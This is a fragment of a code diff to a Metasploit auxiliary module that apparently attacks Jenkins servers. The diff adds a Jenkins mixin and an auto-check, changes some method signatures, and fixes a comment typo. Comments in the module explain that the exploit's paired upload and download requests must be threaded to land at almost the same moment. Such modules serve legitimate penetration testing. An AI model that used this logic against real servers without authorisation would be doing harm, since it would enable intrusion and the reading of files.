6
6
class MetasploitModule < Msf ::Auxiliary
7
7
include Msf ::Auxiliary ::Report
8
8
include Msf ::Exploit ::Remote ::HttpClient
9
+ include Msf ::Exploit ::Remote ::HTTP ::Jenkins
10
+ prepend Msf ::Exploit ::Remote ::AutoCheck
9
11
10
12
def initialize ( info = { } )
11
13
super (
@@ -128,7 +130,7 @@ def parameter_one
128
130
"\x03 \x00 \x00 \x01 \x31 \x00 \x00 \x00 "
129
131
end
130
132
131
- def data_generator ( pad : false )
133
+ def data_generator ( pad = false )
132
134
data = [ ]
133
135
data << request_header
134
136
data << parameter_one if pad
@@ -141,7 +143,7 @@ def data_generator(pad: false)
141
143
data . join ( '' )
142
144
end
143
145
144
- def upload_request ( uuid , multi_line_file : true )
146
+ def upload_request ( uuid , multi_line_file = true )
145
147
# send upload request asking for file
146
148
147
149
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
@@ -231,7 +233,7 @@ def run
231
233
# Looking over the python PoCs, they all include threading however
232
234
# the writeup, and PoCs don't mention a timing component.
233
235
# However, during testing it was found that the two requests need to
234
- # his the server nearly simultaneously, with the 'download' one hitting
236
+ # hit the server nearly simultaneously, with the 'download' one hitting
235
237
# first. During testing, even a .1 second slowdown was too much and
236
238
# the server resulted in a 500 error. So we need to thread these to
237
239
# execute them fast enough that the server gets both in rapid succession
0 commit comments